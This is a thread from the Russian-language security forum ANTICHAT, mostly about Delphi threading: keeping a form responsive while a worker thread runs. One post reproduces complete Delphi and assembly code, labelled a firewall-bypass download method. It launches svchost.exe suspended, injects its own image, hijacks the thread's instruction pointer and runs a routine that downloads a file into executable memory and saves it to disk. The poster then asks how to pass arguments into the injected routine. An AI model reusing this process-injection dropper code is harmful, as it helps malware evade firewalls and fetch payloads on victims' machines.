ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

13.04.2009, 16:28
|
|
Участник форума
Регистрация: 28.04.2008
Сообщений: 172
Провел на форуме: 1191083
Репутация:
270
|
|
//Напиши процедуру
Вот:
Код:
procedure TForm1.sButton1Click(Sender: TObject);
var
NewThread: array [1..50] of TNewThread;
i: Integer;
begin
sButton1.Enabled:=false;
for i:=1 to 50 do
NewThread[i]:=TNewThread.Create(true);
NewThread[i].FreeOnTerminate:=true;
NewThread[i].Priority:=tpLOWER;
NewThread[i].Resume;
end;
end;
|
|
|

15.04.2009, 00:35
|
|
Постоянный
Регистрация: 20.06.2008
Сообщений: 323
Провел на форуме: 1240829
Репутация:
165
|
|
Такая проблема, не знаю можно ли такое реализовать.. Пусть в событии OnClick создаётся поток, который выполняется длительное время и обрабатывает данные. И надо остановить выполнение процедуры OnClick с места, где создаётся поток, и когда завершится выполнение потока продолжить выполнение процедуры OnClick с места остановки.
|
|
|

15.04.2009, 05:11
|
|
Постоянный
Регистрация: 27.10.2008
Сообщений: 380
Провел на форуме: 1249808
Репутация:
149
|
|
cremator (c) попробуй так:
в процедуре OnClick сразу за строчкой создания потока поставь бесконечный цикл, с условием по глобальной переменной, а в процедуре екзекут твоего потока в конце после выполнения всех вычислений присвой этой переменной значение, штото гдето так
[code]
var
flag:boolean; //обязательно глобальная
procedure ...OnClick...
...
поток.create;
flag:=false;
while flag=false do
if flag=true then break;
....
procedure Thread.execute;
...
твои вычисления
...
flag:=true;
end;
[\code]
что то гдето так, простите если убого выражаюсь, вообще вижу что криво но на ум что то больше ничего не приходит
|
|
|

15.04.2009, 06:37
|
|
Познающий
Регистрация: 19.02.2009
Сообщений: 83
Провел на форуме: 181715
Репутация:
50
|
|
while flag=false do
if flag=true then break;
лучше так:
Код:
while not flag do application.ProcessMessages;
|
|
|

15.04.2009, 07:18
|
|
Постоянный
Регистрация: 27.10.2008
Сообщений: 380
Провел на форуме: 1249808
Репутация:
149
|
|
Markus_13 +1
полностью согласен, чето я втупил 
|
|
|

15.04.2009, 11:31
|
|
Постоянный
Регистрация: 20.06.2008
Сообщений: 323
Провел на форуме: 1240829
Репутация:
165
|
|
Мне это не надо. То что ты написал вызовет зависание формы на все время выполнения потока, чего я и хотел избежать. В таком случае если ничего больше не сделать в OnClick создаю еще один поток, который и будет ожидать события завершения своего потока который он создаст.
|
|
|

15.04.2009, 12:54
|
|
Постоянный
Регистрация: 27.10.2008
Сообщений: 380
Провел на форуме: 1249808
Репутация:
149
|
|
То что ты написал вызовет зависание формы на все время выполнения потока, чего я и хотел избежать
да, но если принять поправку Markus_13, то не должно.
В таком случае если ничего больше не сделать в OnClick создаю еще один поток, который и будет ожидать события завершения своего потока который он создаст
так даже и лучше
|
|
|

15.04.2009, 14:33
|
|
Участник форума
Регистрация: 08.10.2007
Сообщений: 259
Провел на форуме: 500748
Репутация:
137
|
|
Вот тут нашол метод загрузки файла с обходом фаервола.
Код:
Function MyPos(Substr, Str: PChar): dword; stdcall;
asm
mov eax, Substr
mov edx, str
test eax, eax
je @noWork
test edx, edx
je @stringEmpty
push ebx
push esi
push edi
mov esi, eax
mov edi, edx
push eax
push edx
call lstrlen
mov ecx, eax
pop eax
push edi
push eax
push eax
call lstrlen
mov edx, eax
pop eax
dec edx
js @fail
mov al, [esi]
inc esi
sub ecx, edx
jle @fail
@loop:
repne scasb
jne @fail
mov ebx, ecx
push esi
push edi
mov ecx, edx
repe cmpsb
pop edi
pop esi
je @found
mov ecx, ebx
jmp @loop
@fail:
pop edx
xor eax, eax
jmp @exit
@stringEmpty:
xor eax, eax
jmp @noWork
@found:
pop edx
mov eax, edi
sub eax, edx
@exit:
pop edi
pop esi
pop ebx
@noWork:
end;
{ Копирование строк }
Function MyCopy(S:PChar; Index, Count: Dword): PChar; stdcall;
asm
mov eax, Count
inc eax
push eax
push LPTR
call LocalAlloc
mov edi, eax
mov ecx, Count
mov esi, S
add esi, Index
dec esi
rep movsb
end;
{ Копирование участка памяти }
procedure MyCopyMemory(Destination: Pointer; Source: Pointer; Length: DWORD);
asm
push ecx
push esi
push edi
mov esi, Source
mov edi, Destination
mov ecx, Length
rep movsb
pop edi
pop esi
pop ecx
end;
Function DownloadFile(Address: PChar; var ReturnSize: dword): pointer;
var
Buffer: pointer;
BufferLength: dword;
BufferUsed: dword;
Bytes: integer;
Header: PChar;
Site: PChar;
URL: PChar;
FSocket: integer;
SockAddrIn: TSockAddrIn;
HostEnt: PHostEnt;
Str: PChar;
WSAData: TWSAData;
hHeap: dword;
begin
Result := nil;
hHeap := GetProcessHeap();
WSAStartup(257, WSAData);
Site := MyCopy(Address, 1, MyPos('/', Address) - 1);
URL := MyCopy(Address, MyPos('/', Address), lstrlen(Address) - MyPos('/', Address) + 1);
Buffer := HeapAlloc(hHeap, 0, 1024);
try
BufferLength := 1024;
BufferUsed := 0;
FSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
SockAddrIn.sin_family := AF_INET;
SockAddrIn.sin_port := htons(80);
SockAddrIn.sin_addr.s_addr := inet_addr(Site);
if SockAddrIn.sin_addr.s_addr = INADDR_NONE then
begin
HostEnt := gethostbyname(Site);
if HostEnt = nil then Exit;
SockAddrIn.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_list^)^);
end;
if Connect(FSocket, SockAddrIn, SizeOf(SockAddrIn)) = -1 then Exit;
Str := HeapAlloc(hHeap, 0, 1024);
lstrcpy(Str, 'GET ');
lstrcat(Str, URL);
lstrcat(Str, ' HTTP/1.0'#10#13'Host: ');
lstrcat(Str, Site);
lstrcat(Str, #13#10'Connection: close'#13#10#13#10);
send(FSocket, Str^, lstrlen(Str), 0);
HeapFree(hHeap, 0, Str);
repeat
if BufferLength - BufferUsed < 1024 then
begin
Inc(BufferLength, 1024);
Buffer := HeapReAlloc(hHeap, 0, Buffer, BufferLength);
end;
Bytes := recv(FSocket, pointer(dword(Buffer) + BufferUsed)^, 1024, 0);
if Bytes > 0 then Inc(BufferUsed, Bytes);
until (Bytes = 0) or (Bytes = SOCKET_ERROR);
Header := MyCopy(Buffer, 1, MyPos(#13#10#13#10, Buffer) + 3);
ReturnSize := BufferUsed - lstrlen(header);
Result := VirtualAlloc(nil, ReturnSize, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if Result = nil then Exit;
MyCopyMemory(Result, pointer(dword(Buffer) + lstrlen(header)), ReturnSize);
finally
HeapFree(hHeap, 0, Buffer);
end;
end;
{ процедура выполняющаяся в контексте доверенного приложения }
Procedure Download(); stdcall;
const
URL : PChar = 'google.ru/images/nav_logo3.png';
var
Buff: pointer;
Size: dword;
Bytes: dword;
dFile: dword;
begin
LoadLibrary('wsock32.dll');
Buff := DownloadFile(URL, Size);
dFile := CreateFile('c:\134.mp3', GENERIC_WRITE, 0, nil, CREATE_NEW, 0, 0);
WriteFile(dFile, Buff^, Size, Bytes, nil);
CloseHandle(dFile);
ExitProcess(0);
end;
procedure PotokGetInetFile;
var
St: TStartupInfo;
Pr: TProcessInformation;
InjectSize: dword;
Code: pointer;
Injected: pointer;
BytesWritten: dword;
Context: _CONTEXT;
begin
ZeroMemory(@St, SizeOf(TStartupInfo));
St.cb := SizeOf(TStartupInfo);
St.wShowWindow := SW_SHOW;
//запускаем процесс, которому разрешено лезть на 80 порт
CreateProcess(nil, 'svchost.exe', nil, nil, false,
CREATE_SUSPENDED, nil, nil, St, Pr);
Code := pointer(GetModuleHandle(nil));
InjectSize := PImageOptionalHeader(pointer(integer(Code) +
PImageDosHeader(Code)._lfanew +
SizeOf(dword) +
SizeOf(TImageFileHeader))).SizeOfImage;
//выделяем память в процессе
Injected := VirtualAllocEx(Pr.hProcess, Code, InjectSize, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//внедряем код
WriteProcessMemory(Pr.hProcess, Injected, Code, InjectSize, BytesWritten);
//изменяем контекст нити
Context.ContextFlags := CONTEXT_FULL;
GetThreadContext(Pr.hThread, Context);
Context.Eip := dword(@Download);
SetThreadContext(Pr.hThread, Context);
//запускаем процесс
ResumeThread(Pr.hThread);
end;
как мне передать нужные мне переменные в функцию Download?
такая попытка
Код:
...
Procedure Download(inetfile:string; savefile:string); stdcall;
......
Context.Eip := dword(@Download('11','22'));
....
выдаёт Variable required, глобальные переменные процедура Download тоже воспринимать не хочет, как быть?
|
|
|

15.04.2009, 17:09
|
|
Постоянный
Регистрация: 20.06.2008
Сообщений: 323
Провел на форуме: 1240829
Репутация:
165
|
|
У тебя Procedure Download(); stdcall; не может принимать переменные. Только через глобальные, должно всё работать../
|
|
|

15.04.2009, 17:58
|
|
Познающий
Регистрация: 19.02.2009
Сообщений: 83
Провел на форуме: 181715
Репутация:
50
|
|
Мне это не надо. То что ты написал вызовет зависание формы на все время выполнения потока, чего я и хотел избежать.
во1ых с моим исправлением подвиса не будет; во2ых скорость зависит от мощности машины, кол-ва потоков и их приоритетов
-------------------------
В таком случае если ничего больше не сделать в OnClick создаю еще один поток, который и будет ожидать события завершения своего потока который он создаст.
во1ых весь код твоей проги это и так отдельный поток; во2ых тут проще сделать таймер который включался бы после старта потока и проверял бы эту самую переменную или дописать нужный код в тело потока перед завершением
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|